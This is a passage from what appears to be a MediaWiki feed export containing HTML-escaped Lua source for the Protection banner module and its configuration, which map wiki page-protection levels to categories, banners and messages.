	[&#039;all|template|all|autoconfirmed|edit&#039;]     = &#039;Wikipedia semi-protected templates&#039;,&lt;br /&gt;
	[&#039;all|user|all|autoconfirmed|edit&#039;]         = &#039;Wikipedia semi-protected user and user talk pages&#039;,&lt;br /&gt;
	[&#039;all|all|all|templateeditor|move&#039;]         = &#039;Wikipedia template-protected pages other than templates and modules&#039;,&lt;br /&gt;
	[&#039;all|all|all|templateeditor|edit&#039;]         = &#039;Wikipedia template-protected pages other than templates and modules&#039;,&lt;br /&gt;
	[&#039;all|template|all|templateeditor|edit&#039;]    = &#039;Wikipedia template-protected templates&#039;,&lt;br /&gt;
	[&#039;all|template|all|templateeditor|move&#039;]    = &#039;Wikipedia template-protected templates&#039;, -- move-protected templates&lt;br /&gt;
	[&#039;all|all|blp|sysop|edit&#039;]                  = &#039;Wikipedia indefinitely protected biographies of living people&#039;,&lt;br /&gt;
	[&#039;temp|all|blp|sysop|edit&#039;]                 = &#039;Wikipedia temporarily protected biographies of living people&#039;,&lt;br /&gt;
	[&#039;all|all|dispute|sysop|edit&#039;]              = &#039;Wikipedia pages protected due to dispute&#039;,&lt;br /&gt;
	[&#039;all|all|sock|sysop|edit&#039;]                 = &#039;Wikipedia pages protected from banned users&#039;,&lt;br /&gt;
	[&#039;all|all|vandalism|sysop|edit&#039;]            = &#039;Wikipedia pages protected against vandalism&#039;,&lt;br /&gt;
	[&#039;all|category|all|sysop|edit&#039;]             = &#039;Wikipedia fully protected categories&#039;,&lt;br /&gt;
	[&#039;all|file|all|sysop|edit&#039;]                 = &#039;Wikipedia fully protected files&#039;,&lt;br /&gt;
	[&#039;all|project|all|sysop|edit&#039;]              = &#039;Wikipedia fully protected project pages&#039;,&lt;br /&gt;
	[&#039;all|talk|all|sysop|edit&#039;]                 = &#039;Wikipedia fully protected talk pages&#039;,&lt;br /&gt;
	[&#039;all|template|all|extendedconfirmed|edit&#039;] = &#039;Wikipedia extended-confirmed-protected templates&#039;,&lt;br /&gt;
	[&#039;all|template|all|sysop|edit&#039;]             = &#039;Wikipedia fully protected templates&#039;,&lt;br /&gt;
	[&#039;all|user|all|sysop|edit&#039;]                 = &#039;Wikipedia fully protected user and user talk pages&#039;,&lt;br /&gt;
	[&#039;all|module|all|all|edit&#039;]                 = &#039;Wikipedia fully protected modules&#039;,&lt;br /&gt;
	[&#039;all|module|all|templateeditor|edit&#039;]      = &#039;Wikipedia template-protected modules&#039;,&lt;br /&gt;
	[&#039;all|module|all|extendedconfirmed|edit&#039;]   = &#039;Wikipedia extended-confirmed-protected modules&#039;,&lt;br /&gt;
	[&#039;all|module|all|autoconfirmed|edit&#039;]       = &#039;Wikipedia semi-protected modules&#039;,&lt;br /&gt;
	[&#039;all|all|all|sysop|move&#039;]                  = &#039;Wikipedia move-protected pages&#039;,&lt;br /&gt;
	[&#039;indef|all|all|sysop|move&#039;]                = &#039;Wikipedia indefinitely move-protected pages&#039;,&lt;br /&gt;
	[&#039;all|all|dispute|sysop|move&#039;]              = &#039;Wikipedia pages move-protected due to dispute&#039;,&lt;br /&gt;
	[&#039;all|all|vandalism|sysop|move&#039;]            = &#039;Wikipedia pages move-protected due to vandalism&#039;,&lt;br /&gt;
	[&#039;all|portal|all|sysop|move&#039;]               = &#039;Wikipedia move-protected portals&#039;,&lt;br /&gt;
	[&#039;all|project|all|sysop|move&#039;]              = &#039;Wikipedia move-protected project pages&#039;,&lt;br /&gt;
	[&#039;all|talk|all|sysop|move&#039;]                 = &#039;Wikipedia move-protected talk pages&#039;,&lt;br /&gt;
	[&#039;all|template|all|sysop|move&#039;]             = &#039;Wikipedia move-protected templates&#039;,&lt;br /&gt;
	[&#039;all|user|all|sysop|move&#039;]                 = &#039;Wikipedia move-protected user and user talk pages&#039;,&lt;br /&gt;
	[&#039;all|all|all|autoconfirmed|autoreview&#039;]    = &#039;Wikipedia pending changes protected pages&#039;,&lt;br /&gt;
	[&#039;all|file|all|all|upload&#039;]                 = &#039;Wikipedia upload-protected files&#039;,&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Expiry category config&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table configures the expiry category behaviour for each protection&lt;br /&gt;
-- action.&lt;br /&gt;
-- * If set to true, setting that action will always categorise the page if&lt;br /&gt;
--   an expiry parameter is not set.&lt;br /&gt;
-- * If set to false, setting that action will never categorise the page.&lt;br /&gt;
-- * If set to nil, the module will categorise the page if:&lt;br /&gt;
--   1) an expiry parameter is not set, and&lt;br /&gt;
--   2) a reason is provided, and&lt;br /&gt;
--   3) the specified reason is not blacklisted in the reasonsWithoutExpiryCheck&lt;br /&gt;
--      table.&lt;br /&gt;
&lt;br /&gt;
expiryCheckActions = {&lt;br /&gt;
	edit = nil,&lt;br /&gt;
	move = false,&lt;br /&gt;
	autoreview = true,&lt;br /&gt;
	upload = false&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
reasonsWithoutExpiryCheck = {&lt;br /&gt;
	blp = true,&lt;br /&gt;
	template = true,&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Pagetypes&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table produces the page types available with the ${PAGETYPE} parameter.&lt;br /&gt;
-- Keys are namespace numbers, or the string &amp;quot;default&amp;quot; for the default value.&lt;br /&gt;
pagetypes = {&lt;br /&gt;
	[0] = &#039;article&#039;,&lt;br /&gt;
	[6] = &#039;file&#039;,&lt;br /&gt;
	[10] = &#039;template&#039;,&lt;br /&gt;
	[14] = &#039;category&#039;,&lt;br /&gt;
	[828] = &#039;module&#039;,&lt;br /&gt;
	default = &#039;page&#039;&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Strings marking indefinite protection&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table contains values passed to the expiry parameter that mean the page&lt;br /&gt;
-- is protected indefinitely.&lt;br /&gt;
indefStrings = {&lt;br /&gt;
	[&#039;indef&#039;] = true,&lt;br /&gt;
	[&#039;indefinite&#039;] = true,&lt;br /&gt;
	[&#039;indefinitely&#039;] = true,&lt;br /&gt;
	[&#039;infinite&#039;] = true,&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Group hierarchy&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table maps each group to all groups that have a superset of the original&lt;br /&gt;
-- group&#039;s page editing permissions.&lt;br /&gt;
hierarchy = {&lt;br /&gt;
	sysop = {},&lt;br /&gt;
	reviewer = {&#039;sysop&#039;},&lt;br /&gt;
	filemover = {&#039;sysop&#039;},&lt;br /&gt;
	templateeditor = {&#039;sysop&#039;},&lt;br /&gt;
	extendedconfirmed = {&#039;sysop&#039;},&lt;br /&gt;
	autoconfirmed = {&#039;reviewer&#039;, &#039;filemover&#039;, &#039;templateeditor&#039;, &#039;extendedconfirmed&#039;},&lt;br /&gt;
	user = {&#039;autoconfirmed&#039;},&lt;br /&gt;
	[&#039;*&#039;] = {&#039;user&#039;}&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Wrapper templates and their default arguments&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This table contains wrapper templates used with the module, and their&lt;br /&gt;
-- default arguments. Templates specified in this table should contain the&lt;br /&gt;
-- following invocation, and no other template content:&lt;br /&gt;
--&lt;br /&gt;
-- {{#invoke:Protection banner|main}}&lt;br /&gt;
--&lt;br /&gt;
-- If other content is desired, it can be added between&lt;br /&gt;
-- &amp;lt;noinclude&amp;gt;...&amp;lt;/noinclude&amp;gt; tags.&lt;br /&gt;
--&lt;br /&gt;
-- When a user calls one of these wrapper templates, they will use the&lt;br /&gt;
-- default arguments automatically. However, users can override any of the&lt;br /&gt;
-- arguments.&lt;br /&gt;
wrappers = {&lt;br /&gt;
	[&#039;Template:Pp&#039;]                         = {},&lt;br /&gt;
	[&#039;Template:Protection padlock&#039;]         = {},&lt;br /&gt;
	[&#039;Template:Pp-extended&#039;]                = {&#039;ecp&#039;},&lt;br /&gt;
	[&#039;Template:Pp-blp&#039;]                     = {&#039;blp&#039;},&lt;br /&gt;
	-- we don&#039;t need Template:Pp-create&lt;br /&gt;
	[&#039;Template:Pp-dispute&#039;]                 = {&#039;dispute&#039;},&lt;br /&gt;
	[&#039;Template:Pp-main-page&#039;]               = {&#039;mainpage&#039;},&lt;br /&gt;
	[&#039;Template:Pp-move&#039;]                    = {action = &#039;move&#039;, catonly = &#039;yes&#039;},&lt;br /&gt;
	[&#039;Template:Pp-move-dispute&#039;]            = {&#039;dispute&#039;, action = &#039;move&#039;, catonly = &#039;yes&#039;},&lt;br /&gt;
	-- we don&#039;t need Template:Pp-move-indef&lt;br /&gt;
	[&#039;Template:Pp-move-vandalism&#039;]          = {&#039;vandalism&#039;, action = &#039;move&#039;, catonly = &#039;yes&#039;},&lt;br /&gt;
	[&#039;Template:Pp-office&#039;]                  = {&#039;office&#039;},&lt;br /&gt;
	[&#039;Template:Pp-office-dmca&#039;]             = {&#039;dmca&#039;},&lt;br /&gt;
	[&#039;Template:Pp-pc&#039;]                      = {action = &#039;autoreview&#039;, small = true},&lt;br /&gt;
	[&#039;Template:Pp-pc1&#039;]                     = {action = &#039;autoreview&#039;, small = true},&lt;br /&gt;
	[&#039;Template:Pp-reset&#039;]                   = {&#039;reset&#039;},&lt;br /&gt;
	[&#039;Template:Pp-semi-indef&#039;]              = {small = true},&lt;br /&gt;
	[&#039;Template:Pp-sock&#039;]                    = {&#039;sock&#039;},&lt;br /&gt;
	[&#039;Template:Pp-template&#039;]                = {&#039;template&#039;, small = true},&lt;br /&gt;
	[&#039;Template:Pp-upload&#039;]                  = {action = &#039;upload&#039;},&lt;br /&gt;
	[&#039;Template:Pp-usertalk&#039;]                = {&#039;usertalk&#039;},&lt;br /&gt;
	[&#039;Template:Pp-vandalism&#039;]               = {&#039;vandalism&#039;},&lt;br /&gt;
},&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- &lt;br /&gt;
--                                 MESSAGES&lt;br /&gt;
-- &lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
msg = {&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Intro blurb and intro fragment&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These messages specify what is produced by the ${INTROBLURB} and&lt;br /&gt;
-- ${INTROFRAGMENT} parameters. If the protection is temporary they use the&lt;br /&gt;
-- intro-blurb-expiry or intro-fragment-expiry, and if not they use&lt;br /&gt;
-- intro-blurb-noexpiry or intro-fragment-noexpiry.&lt;br /&gt;
-- It is possible to use banner parameters in these messages.&lt;br /&gt;
[&#039;intro-blurb-expiry&#039;] = &#039;${PROTECTIONBLURB} until ${EXPIRY}.&#039;,&lt;br /&gt;
[&#039;intro-blurb-noexpiry&#039;] = &#039;${PROTECTIONBLURB}.&#039;,&lt;br /&gt;
[&#039;intro-fragment-expiry&#039;] = &#039;${PROTECTIONBLURB} until ${EXPIRY},&#039;,&lt;br /&gt;
[&#039;intro-fragment-noexpiry&#039;] = &#039;${PROTECTIONBLURB}&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Tooltip blurb&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These messages specify what is produced by the ${TOOLTIPBLURB} parameter.&lt;br /&gt;
-- If the protection is temporary the tooltip-blurb-expiry message is used, and&lt;br /&gt;
-- if not the tooltip-blurb-noexpiry message is used.&lt;br /&gt;
-- It is possible to use banner parameters in these messages.&lt;br /&gt;
[&#039;tooltip-blurb-expiry&#039;] = &#039;This ${PAGETYPE} is ${PROTECTIONLEVEL} until ${EXPIRY}.&#039;,&lt;br /&gt;
[&#039;tooltip-blurb-noexpiry&#039;] = &#039;This ${PAGETYPE} is ${PROTECTIONLEVEL}.&#039;,&lt;br /&gt;
[&#039;tooltip-fragment-expiry&#039;] = &#039;This ${PAGETYPE} is ${PROTECTIONLEVEL} until ${EXPIRY},&#039;,&lt;br /&gt;
[&#039;tooltip-fragment-noexpiry&#039;] = &#039;This ${PAGETYPE} is ${PROTECTIONLEVEL}&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Special explanation blurb&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- An explanation blurb for pages that cannot be unprotected, e.g. for pages&lt;br /&gt;
-- in the MediaWiki namespace.&lt;br /&gt;
-- It is possible to use banner parameters in this message.&lt;br /&gt;
[&#039;explanation-blurb-nounprotect&#039;] = &#039;See the [[Wikipedia:Protection policy|&#039;&lt;br /&gt;
	.. &#039;protection policy]] and ${PROTECTIONLOG} for more details.&#039;&lt;br /&gt;
	.. &#039; Please discuss any changes on the ${TALKPAGE}; you&#039;&lt;br /&gt;
	.. &#039; may ${EDITREQUEST} to ask an&#039;&lt;br /&gt;
	.. &#039; [[Wikipedia:Administrators|administrator]] to make an edit if it&#039;&lt;br /&gt;
	.. &#039; is [[Help:Minor edit#When to mark an edit as a minor edit&#039;&lt;br /&gt;
	.. &#039;|uncontroversial]] or supported by [[Wikipedia:Consensus&#039;&lt;br /&gt;
	.. &#039;|consensus]].&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Protection log display values&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These messages determine the display values for the protection log link&lt;br /&gt;
-- or the pending changes log link produced by the ${PROTECTIONLOG} parameter.&lt;br /&gt;
-- It is possible to use banner parameters in these messages.&lt;br /&gt;
[&#039;protection-log-display&#039;] = &#039;protection log&#039;,&lt;br /&gt;
[&#039;pc-log-display&#039;] = &#039;pending changes log&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Current version display values&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These messages determine the display values for the page history link&lt;br /&gt;
-- or the move log link produced by the ${CURRENTVERSION} parameter.&lt;br /&gt;
-- It is possible to use banner parameters in these messages.&lt;br /&gt;
[&#039;current-version-move-display&#039;] = &#039;current title&#039;,&lt;br /&gt;
[&#039;current-version-edit-display&#039;] = &#039;current version&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Talk page&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This message determines the display value of the talk page link produced&lt;br /&gt;
-- with the ${TALKPAGE} parameter.&lt;br /&gt;
-- It is possible to use banner parameters in this message.&lt;br /&gt;
[&#039;talk-page-link-display&#039;] = &#039;talk page&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Edit requests&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This message determines the display value of the edit request link produced&lt;br /&gt;
-- with the ${EDITREQUEST} parameter.&lt;br /&gt;
-- It is possible to use banner parameters in this message.&lt;br /&gt;
[&#039;edit-request-display&#039;] = &#039;submit an edit request&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Expiry date format&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- This is the format for the blurb expiry date. It should be valid input for&lt;br /&gt;
-- the first parameter of the #time parser function.&lt;br /&gt;
[&#039;expiry-date-format&#039;] = &#039;F j, Y &amp;quot;at&amp;quot; H:i e&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Tracking categories&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These messages determine which tracking categories the module outputs.&lt;br /&gt;
[&#039;tracking-category-incorrect&#039;] = &#039;Wikipedia pages with incorrect protection templates&#039;,&lt;br /&gt;
[&#039;tracking-category-template&#039;] = &#039;Wikipedia template-protected pages other than templates and modules&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Images&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
-- These are images that are not defined by their protection action and protection level.&lt;br /&gt;
[&#039;image-filename-indef&#039;] = &#039;Full-protection-shackle.svg&#039;,&lt;br /&gt;
[&#039;image-filename-default&#039;] = &#039;Transparent.gif&#039;,&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- End messages&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- End configuration&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
}&lt;/div&gt;</summary>
		<author><name>Justus</name></author>
	</entry>
	<entry>
		<id>https://www.justus.pw/mediawiki/index.php?title=Module:Protection_banner&amp;diff=48</id>
		<title>Module:Protection banner</title>
		<link rel="alternate" type="text/html" href="https://www.justus.pw/mediawiki/index.php?title=Module:Protection_banner&amp;diff=48"/>
		<updated>2026-01-05T07:39:56Z</updated>

		<summary type="html">&lt;p&gt;Justus: 1 revision imported&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;-- This module implements {{pp-meta}} and its daughter templates such as&lt;br /&gt;
-- {{pp-dispute}}, {{pp-vandalism}} and {{pp-sock}}.&lt;br /&gt;
&lt;br /&gt;
-- Initialise necessary modules.&lt;br /&gt;
require(&#039;strict&#039;)&lt;br /&gt;
local makeFileLink = require(&#039;Module:File link&#039;)._main&lt;br /&gt;
local effectiveProtectionLevel = require(&#039;Module:Effective protection level&#039;)._main&lt;br /&gt;
local effectiveProtectionExpiry = require(&#039;Module:Effective protection expiry&#039;)._main&lt;br /&gt;
local yesno = require(&#039;Module:Yesno&#039;)&lt;br /&gt;
&lt;br /&gt;
-- Lazily initialise modules and objects we don&#039;t always need.&lt;br /&gt;
local getArgs, makeMessageBox, lang&lt;br /&gt;
&lt;br /&gt;
-- Set constants.&lt;br /&gt;
local CONFIG_MODULE = &#039;Module:Protection banner/config&#039;&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Helper functions&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local function makeCategoryLink(cat, sort)&lt;br /&gt;
	if cat then&lt;br /&gt;
		return string.format(&lt;br /&gt;
			&#039;[[%s:%s|%s]]&#039;,&lt;br /&gt;
			mw.site.namespaces[14].name,&lt;br /&gt;
			cat,&lt;br /&gt;
			sort&lt;br /&gt;
		)&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Validation function for the expiry and the protection date&lt;br /&gt;
local function validateDate(dateString, dateType)&lt;br /&gt;
	if not lang then&lt;br /&gt;
		lang = mw.language.getContentLanguage()&lt;br /&gt;
	end&lt;br /&gt;
	local success, result = pcall(lang.formatDate, lang, &#039;U&#039;, dateString)&lt;br /&gt;
	if success then&lt;br /&gt;
		result = tonumber(result)&lt;br /&gt;
		if result then&lt;br /&gt;
			return result&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	error(string.format(&lt;br /&gt;
		&#039;invalid %s: %s&#039;,&lt;br /&gt;
		dateType,&lt;br /&gt;
		tostring(dateString)&lt;br /&gt;
	), 4)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
local function makeFullUrl(page, query, display)&lt;br /&gt;
	return string.format(&lt;br /&gt;
		&#039;[%s %s]&#039;,&lt;br /&gt;
		tostring(mw.uri.fullUrl(page, query)),&lt;br /&gt;
		display&lt;br /&gt;
	)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Given a directed graph formatted as node -&amp;gt; table of direct successors,&lt;br /&gt;
-- get a table of all nodes reachable from a given node (though always&lt;br /&gt;
-- including the given node).&lt;br /&gt;
local function getReachableNodes(graph, start)&lt;br /&gt;
	local toWalk, retval = {[start] = true}, {}&lt;br /&gt;
	while true do&lt;br /&gt;
		-- Can&#039;t use pairs() since we&#039;re adding and removing things as we&#039;re iterating&lt;br /&gt;
		local k = next(toWalk) -- This always gets the &amp;quot;first&amp;quot; key&lt;br /&gt;
		if k == nil then&lt;br /&gt;
			return retval&lt;br /&gt;
		end&lt;br /&gt;
		toWalk[k] = nil&lt;br /&gt;
		retval[k] = true&lt;br /&gt;
		for _,v in ipairs(graph[k]) do&lt;br /&gt;
			if not retval[v] then&lt;br /&gt;
				toWalk[v] = true&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
-- Protection class&lt;br /&gt;
--------------------------------------------------------------------------------&lt;br /&gt;
&lt;br /&gt;
local Protection = {}&lt;br /&gt;
Protection.__index = Protection&lt;br /&gt;
&lt;br /&gt;
Protection.supportedActions = {&lt;br /&gt;
	edit = true,&lt;br /&gt;
	move = true,&lt;br /&gt;
	autoreview = true,&lt;br /&gt;
	upload = true&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
Protection.bannerConfigFields = {&lt;br /&gt;
	&#039;text&#039;,&lt;br /&gt;
	&#039;explanation&#039;,&lt;br /&gt;
	&#039;tooltip&#039;,&lt;br /&gt;
	&#039;alt&#039;,&lt;br /&gt;
	&#039;link&#039;,&lt;br /&gt;
	&#039;image&#039;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function Protection.new(args, cfg, title)&lt;br /&gt;
	local obj = {}&lt;br /&gt;
	obj._cfg = cfg&lt;br /&gt;
	obj.title = title or mw.title.getCurrentTitle()&lt;br /&gt;
&lt;br /&gt;
	-- Set action&lt;br /&gt;
	if not args.action then&lt;br /&gt;
		obj.action = &#039;edit&#039;&lt;br /&gt;
	elseif Protection.supportedActions[args.action] then&lt;br /&gt;
		obj.action = args.action&lt;br /&gt;
	else&lt;br /&gt;
		error(string.format(&lt;br /&gt;
			&#039;invalid action: %s&#039;,&lt;br /&gt;
			tostring(args.action)&lt;br /&gt;
		), 3)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Set level&lt;br /&gt;
	obj.level = args.demolevel or effectiveProtectionLevel(obj.action, obj.title)&lt;br /&gt;
	if not obj.level or (obj.action == &#039;move&#039; and obj.level == &#039;autoconfirmed&#039;) then&lt;br /&gt;
		-- Users need to be autoconfirmed to move pages anyway, so treat&lt;br /&gt;
		-- semi-move-protected pages as unprotected.&lt;br /&gt;
		obj.level = &#039;*&#039;&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Set expiry&lt;br /&gt;
	local effectiveExpiry = effectiveProtectionExpiry(obj.action, obj.title)&lt;br /&gt;
	if effectiveExpiry == &#039;infinity&#039; then&lt;br /&gt;
		obj.expiry = &#039;indef&#039;&lt;br /&gt;
	elseif effectiveExpiry ~= &#039;unknown&#039; then&lt;br /&gt;
		obj.expiry = validateDate(effectiveExpiry, &#039;expiry date&#039;)&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Set reason&lt;br /&gt;
	if args[1] then&lt;br /&gt;
		obj.reason = mw.ustring.lower(args[1])&lt;br /&gt;
		if obj.reason:find(&#039;|&#039;) then&lt;br /&gt;
			error(&#039;reasons cannot contain the pipe character (&amp;quot;|&amp;quot;)&#039;, 3)&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Set protection date&lt;br /&gt;
	if args.date then&lt;br /&gt;
		obj.protectionDate = validateDate(args.date, &#039;protection date&#039;)&lt;br /&gt;
	end&lt;br /&gt;
	&lt;br /&gt;
	-- Set banner config&lt;br /&gt;
	do&lt;br /&gt;
		obj.bannerConfig = {}&lt;br /&gt;
		local configTables = {}&lt;br /&gt;
		if cfg.banners[obj.action] then&lt;br /&gt;
			configTables[#configTables + 1] = cfg.banners[obj.action][obj.reason]&lt;br /&gt;
		end&lt;br /&gt;
		if cfg.defaultBanners[obj.action] then&lt;br /&gt;
			configTables[#configTables + 1] = cfg.defaultBanners[obj.action][obj.level]&lt;br /&gt;
			configTables[#configTables + 1] = cfg.defaultBanners[obj.action].default&lt;br /&gt;
		end&lt;br /&gt;
		configTables[#configTables + 1] = cfg.masterBanner&lt;br /&gt;
		for i, field in ipairs(Protection.bannerConfigFields) do&lt;br /&gt;
			for j, t in ipairs(configTables) do&lt;br /&gt;
				if t[field] then&lt;br /&gt;
					obj.bannerConfig[field] = t[field]&lt;br /&gt;
					break&lt;br /&gt;
				end&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
	end&lt;br /&gt;
	return setmetatable(obj, Protection)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:isUserScript()&lt;br /&gt;
	-- Whether the page is a user JavaScript or CSS page.&lt;br /&gt;
	local title = self.title&lt;br /&gt;
	return title.namespace == 2 and (&lt;br /&gt;
		title.contentModel == &#039;javascript&#039; or title.contentModel == &#039;css&#039;&lt;br /&gt;
	)&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:isProtected()&lt;br /&gt;
	return self.level ~= &#039;*&#039;&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:shouldShowLock()&lt;br /&gt;
	-- Whether we should output a banner/padlock&lt;br /&gt;
	return self:isProtected() and not self:isUserScript()&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
-- Whether this page needs a protection category.&lt;br /&gt;
Protection.shouldHaveProtectionCategory = Protection.shouldShowLock&lt;br /&gt;
&lt;br /&gt;
function Protection:isTemporary()&lt;br /&gt;
	return type(self.expiry) == &#039;number&#039;&lt;br /&gt;
end&lt;br /&gt;
&lt;br /&gt;
function Protection:makeProtectionCategory()&lt;br /&gt;
	if not self:shouldHaveProtectionCategory() then&lt;br /&gt;
		return &#039;&#039;&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	local cfg = self._cfg&lt;br /&gt;
	local title = self.title&lt;br /&gt;
	&lt;br /&gt;
	-- Get the expiry key fragment.&lt;br /&gt;
	local expiryFragment&lt;br /&gt;
	if self.expiry == &#039;indef&#039; then&lt;br /&gt;
		expiryFragment = self.expiry&lt;br /&gt;
	elseif type(self.expiry) == &#039;number&#039; then&lt;br /&gt;
		expiryFragment = &#039;temp&#039;&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Get the namespace key fragment.&lt;br /&gt;
	local namespaceFragment = cfg.categoryNamespaceKeys[title.namespace]&lt;br /&gt;
	if not namespaceFragment and title.namespace % 2 == 1 then&lt;br /&gt;
			namespaceFragment = &#039;talk&#039;&lt;br /&gt;
	end&lt;br /&gt;
&lt;br /&gt;
	-- Define the order that key fragments are tested in. This is done with an&lt;br /&gt;
	-- array of tables containing the value to be tested, along with its&lt;br /&gt;
	-- position in the cfg.protectionCategories table.&lt;br /&gt;
	local order = {&lt;br /&gt;
		{val = expiryFragment,    keypos = 1},&lt;br /&gt;
		{val = namespaceFragment, keypos = 2},&lt;br /&gt;
		{val = self.reason,       keypos = 3},&lt;br /&gt;
		{val = self.level,        keypos = 4},&lt;br /&gt;
		{val = self.action,       keypos = 5}&lt;br /&gt;
	}&lt;br /&gt;
&lt;br /&gt;
	--[[&lt;br /&gt;
	-- The old protection templates used an ad-hoc protection category system,&lt;br /&gt;
	-- with some templates prioritising namespaces in their categories, and&lt;br /&gt;
	-- others prioritising the protection reason. To emulate this in this module&lt;br /&gt;
	-- we use the config table cfg.reasonsWithNamespacePriority to set the&lt;br /&gt;
	-- reasons for which namespaces have priority over protection reason.&lt;br /&gt;
	-- If we are dealing with one of those reasons, move the namespace table to&lt;br /&gt;
	-- the end of the order table, i.e. give it highest priority. If not, the&lt;br /&gt;
	-- reason should have highest priority, so move that to the end of the table&lt;br /&gt;
	-- instead.&lt;br /&gt;
	--]]&lt;br /&gt;
	table.insert(order, table.remove(order, self.reason and cfg.reasonsWithNamespacePriority[self.reason] and 2 or 3))&lt;br /&gt;
 &lt;br /&gt;
	--[[&lt;br /&gt;
	-- Define the attempt order. Inactive subtables (subtables with nil &amp;quot;value&amp;quot;&lt;br /&gt;
	-- fields) are moved to the end, where they will later be given the key&lt;br /&gt;
	-- &amp;quot;all&amp;quot;. This is to cut down on the number of table lookups in&lt;br /&gt;
	-- cfg.protectionCategories, which grows exponentially with the number of&lt;br /&gt;
	-- non-nil keys. We keep track of the number of active subtables with the&lt;br /&gt;
	-- noActive parameter.&lt;br /&gt;
	--]]&lt;br /&gt;
	local noActive, attemptOrder&lt;br /&gt;
	do&lt;br /&gt;
		local active, inactive = {}, {}&lt;br /&gt;
		for i, t in ipairs(order) do&lt;br /&gt;
			if t.val then&lt;br /&gt;
				active[#active + 1] = t&lt;br /&gt;
			else&lt;br /&gt;
				inactive[#inactive + 1] = t&lt;br /&gt;
			end&lt;br /&gt;
		end&lt;br /&gt;
		noActive = #active&lt;br /&gt;
		attemptOrder = active&lt;br /&gt;
		for i, t in ipairs(inactive) do&lt;br /&gt;
